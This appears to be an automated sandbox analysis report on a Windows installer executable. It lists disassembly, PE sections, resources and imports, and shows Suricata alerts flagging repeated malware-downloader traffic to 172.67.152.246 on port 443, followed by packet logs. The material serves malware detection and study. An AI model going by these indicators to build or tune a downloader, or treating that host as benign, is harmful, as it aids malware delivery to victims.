je 00007FDD7D1224E9h
push 00000C00h
call eax
push ebx
push edi
push 0040A2F4h
call 00007FDD7D1255B3h
push 0040A2ECh
call 00007FDD7D1255A9h
push 0040A2E0h
call 00007FDD7D12559Fh
push 00000009h
call 00007FDD7D125604h
push 00000007h
call 00007FDD7D1255FDh
mov dword ptr [00434F04h], eax
call dword ptr [00408044h]
push ebp
call dword ptr [004082A8h]
mov dword ptr [00434FB8h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 0042B228h
call dword ptr [0040818Ch]
push 0040A2C8h
push 00433F00h
call 00007FDD7D1251EAh
call dword ptr [004080A8h]
mov ebx, 0043F000h
push eax
push ebx
call 00007FDD7D1251D8h
push ebp
call dword ptr [00408178h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x85c8	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x50000	0x14f00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x77be0	0x768
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x637c	0x6400	83ff228d6dae8dd738eb2f78afbc793f	False	0.672421875	data	6.491609540807675	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x147c	0x1600	d9f9b0b330e238260616b62a7a3cac09	False	0.42933238636363635	data	4.973928345594701	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2aff8	0x600	3f2b05c8fbb8b2e4c9c89e93d30e7252	False	0.53125	data	4.133631086111171	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x1b000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x50000	0x14f00	0x15000	963cafd7839d83d969be77a6d4949185	False	0.22309802827380953	data	4.1931069170035284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x50298	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 0	English	United States	0.1893262746953744
RT_ICON	0x60ac0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.3378630705394191
RT_ICON	0x63068	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.4115853658536585
RT_ICON	0x64110	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.5460992907801419
RT_DIALOG	0x64578	0x100	data	English	United States	0.5234375
RT_DIALOG	0x64678	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x64798	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x64860	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x648c0	0x3e	data	English	United States	0.8387096774193549
RT_VERSION	0x64900	0x2c0	data	English	United States	0.4900568181818182
RT_MANIFEST	0x64bc0	0x33f	XML 1.0 document, ASCII text, with very long lines (831), with no line terminators	English	United States	0.5547533092659447

Imports

DLL	Import
KERNEL32.dll	SetCurrentDirectoryW, GetFileAttributesW, GetFullPathNameW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, MoveFileW, SetFileAttributesW, GetCurrentProcess, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, CompareFileTime, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, lstrcpyW, MoveFileExW, lstrcatW, GetSystemDirectoryW, LoadLibraryW, GetProcAddress, GetModuleHandleA, ExpandEnvironmentStringsW, GetShortPathNameW, SearchPathW, lstrcmpiW, SetFileTime, CloseHandle, GlobalFree, lstrcmpW, GlobalAlloc, WaitForSingleObject, GlobalUnlock, GetDiskFreeSpaceW, GetExitCodeProcess, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, lstrlenA, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, IsWindowEnabled, EnableMenuItem, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, wsprintfW, ScreenToClient, GetWindowRect, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, GetDC, SetWindowTextW, PostQuitMessage, ShowWindow, GetDlgItem, IsWindow, LoadImageW, SetWindowLongW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, SetTimer, FindWindowExW, SendMessageTimeoutW, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegDeleteKeyW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegOpenKeyExW, RegEnumValueW, RegDeleteValueW, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:14:06.974098+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57914	172.67.152.246	443	TCP
2025-01-10T20:14:08.472663+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57916	172.67.152.246	443	TCP
2025-01-10T20:14:10.240207+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57918	172.67.152.246	443	TCP
2025-01-10T20:14:11.803705+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57920	172.67.152.246	443	TCP
2025-01-10T20:14:13.400398+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57922	172.67.152.246	443	TCP
2025-01-10T20:14:14.881894+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57924	172.67.152.246	443	TCP
2025-01-10T20:14:16.648089+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57926	172.67.152.246	443	TCP
2025-01-10T20:14:18.150015+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57929	172.67.152.246	443	TCP
2025-01-10T20:14:19.847821+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57931	172.67.152.246	443	TCP
2025-01-10T20:14:21.380734+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57933	172.67.152.246	443	TCP
2025-01-10T20:14:22.817114+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57935	172.67.152.246	443	TCP
2025-01-10T20:14:24.322544+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57937	172.67.152.246	443	TCP
2025-01-10T20:14:26.041238+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57939	172.67.152.246	443	TCP
2025-01-10T20:14:27.572111+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57941	172.67.152.246	443	TCP
2025-01-10T20:14:29.082743+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57943	172.67.152.246	443	TCP
2025-01-10T20:14:30.632037+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57945	172.67.152.246	443	TCP
2025-01-10T20:14:32.096662+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57947	172.67.152.246	443	TCP
2025-01-10T20:14:33.691780+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57949	172.67.152.246	443	TCP
2025-01-10T20:14:35.233365+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57951	172.67.152.246	443	TCP
2025-01-10T20:14:36.980121+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57953	172.67.152.246	443	TCP
2025-01-10T20:14:38.493462+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57955	172.67.152.246	443	TCP
2025-01-10T20:14:40.148517+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57957	172.67.152.246	443	TCP
2025-01-10T20:14:41.671801+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57959	172.67.152.246	443	TCP
2025-01-10T20:14:43.286590+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57961	172.67.152.246	443	TCP
2025-01-10T20:14:44.739952+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57963	172.67.152.246	443	TCP
2025-01-10T20:14:46.270563+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57965	172.67.152.246	443	TCP
2025-01-10T20:14:47.800408+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57967	172.67.152.246	443	TCP
2025-01-10T20:14:49.805342+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57970	172.67.152.246	443	TCP
2025-01-10T20:14:51.287149+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57972	172.67.152.246	443	TCP
2025-01-10T20:14:52.888174+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57974	172.67.152.246	443	TCP
2025-01-10T20:14:54.459855+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57976	172.67.152.246	443	TCP
2025-01-10T20:14:56.336095+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57978	172.67.152.246	443	TCP
2025-01-10T20:14:57.839185+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57980	172.67.152.246	443	TCP
2025-01-10T20:14:59.523003+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57982	172.67.152.246	443	TCP
2025-01-10T20:15:01.011786+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57984	172.67.152.246	443	TCP
2025-01-10T20:15:02.585123+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57986	172.67.152.246	443	TCP
2025-01-10T20:15:04.072284+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57988	172.67.152.246	443	TCP
2025-01-10T20:15:05.694217+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57990	172.67.152.246	443	TCP
2025-01-10T20:15:07.215598+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57992	172.67.152.246	443	TCP
2025-01-10T20:15:08.712602+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	57994	172.67.152.246	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:13:33.612821102 CET	57766	53	192.168.2.6	162.159.36.2
Jan 10, 2025 20:13:33.617741108 CET	53	57766	162.159.36.2	192.168.2.6
Jan 10, 2025 20:13:33.617820978 CET	57766	53	192.168.2.6	162.159.36.2
Jan 10, 2025 20:13:33.622673035 CET	53	57766	162.159.36.2	192.168.2.6
Jan 10, 2025 20:13:34.153594971 CET	57766	53	192.168.2.6	162.159.36.2
Jan 10, 2025 20:13:34.158508062 CET	53	57766	162.159.36.2	192.168.2.6
Jan 10, 2025 20:13:34.158560038 CET	57766	53	192.168.2.6	162.159.36.2
Jan 10, 2025 20:14:06.126568079 CET	57914	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:06.126615047 CET	443	57914	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:06.126704931 CET	57914	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:06.346716881 CET	57914	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:06.346761942 CET	443	57914	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:06.809825897 CET	443	57914	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:06.809962988 CET	57914	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:06.856431007 CET	57914	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:06.856506109 CET	443	57914	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:06.856887102 CET	443	57914	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:06.856947899 CET	57914	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:06.860136032 CET	57914	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:06.903340101 CET	443	57914	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:06.974107027 CET	443	57914	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:06.974174976 CET	57914	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:06.974212885 CET	443	57914	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:06.974261045 CET	57914	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:06.974297047 CET	443	57914	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:06.974344969 CET	57914	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:06.974838018 CET	57914	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:06.974858046 CET	443	57914	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:06.983566046 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:06.983603001 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:06.983669996 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:06.983926058 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:06.983942986 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.441534042 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.441857100 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.442317963 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.442327976 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.442514896 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.442519903 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.643527985 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.643595934 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.643635988 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.643675089 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.643722057 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.643723965 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.643738031 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.643785000 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.643801928 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.643815041 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.645885944 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.647566080 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.648170948 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.648219109 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.648233891 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.648240089 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.648278952 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.648291111 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.648320913 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.648330927 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.648335934 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.648365021 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.648386955 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.730210066 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.730407953 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.730477095 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.730499983 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.730540991 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.730556011 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.730595112 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.731910944 CET	57915	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.731934071 CET	443	57915	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.856055021 CET	57916	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.856107950 CET	443	57916	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:07.856182098 CET	57916	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.856452942 CET	57916	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:07.856462955 CET	443	57916	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:08.332273960 CET	443	57916	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:08.332412004 CET	57916	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:08.332956076 CET	57916	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:08.332983971 CET	443	57916	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:08.333106995 CET	57916	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:08.333117962 CET	443	57916	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:08.472692966 CET	443	57916	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:08.472785950 CET	443	57916	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:08.472848892 CET	57916	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:08.472879887 CET	57916	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:08.473048925 CET	57916	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:08.473068953 CET	443	57916	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:08.481914997 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:08.481967926 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:08.482042074 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:08.482311010 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:08.482323885 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:08.938689947 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:08.938792944 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:08.944833994 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:08.944854975 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:08.948926926 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:08.948942900 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.136372089 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.136440039 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.136440039 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.136457920 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.136481047 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.136522055 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.136535883 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.136549950 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.136564016 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.136590004 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.136593103 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.136603117 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.136626959 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.136658907 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.141094923 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.141140938 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.141149044 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.141181946 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.141187906 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.141217947 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.141395092 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.141437054 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.141444921 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.141474962 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.141769886 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.141804934 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.222430944 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.222512007 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.222518921 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.222537041 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.222551107 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.222589016 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.222594976 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.222626925 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.222632885 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.222668886 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.227600098 CET	57917	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.227621078 CET	443	57917	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.622842073 CET	57918	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.622891903 CET	443	57918	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:09.622948885 CET	57918	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.626738071 CET	57918	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:09.626749039 CET	443	57918	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.097857952 CET	443	57918	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.098001003 CET	57918	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.098453045 CET	57918	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.098479033 CET	443	57918	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.098622084 CET	57918	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.098633051 CET	443	57918	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.240231991 CET	443	57918	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.240319014 CET	443	57918	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.240364075 CET	57918	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.240489006 CET	57918	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.240587950 CET	57918	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.240607977 CET	443	57918	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.250725985 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.250763893 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.250828981 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.251049042 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.251061916 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.748486996 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.748553991 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.749078989 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.749097109 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.749294043 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.749299049 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.992386103 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.992479086 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.992521048 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.992561102 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.992602110 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.992602110 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.992645979 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.992650032 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.992692947 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.992706060 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.992744923 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.992752075 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.992892027 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.993489027 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.993591070 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.997010946 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.997075081 CET	57919	443	192.168.2.6	172.67.152.246
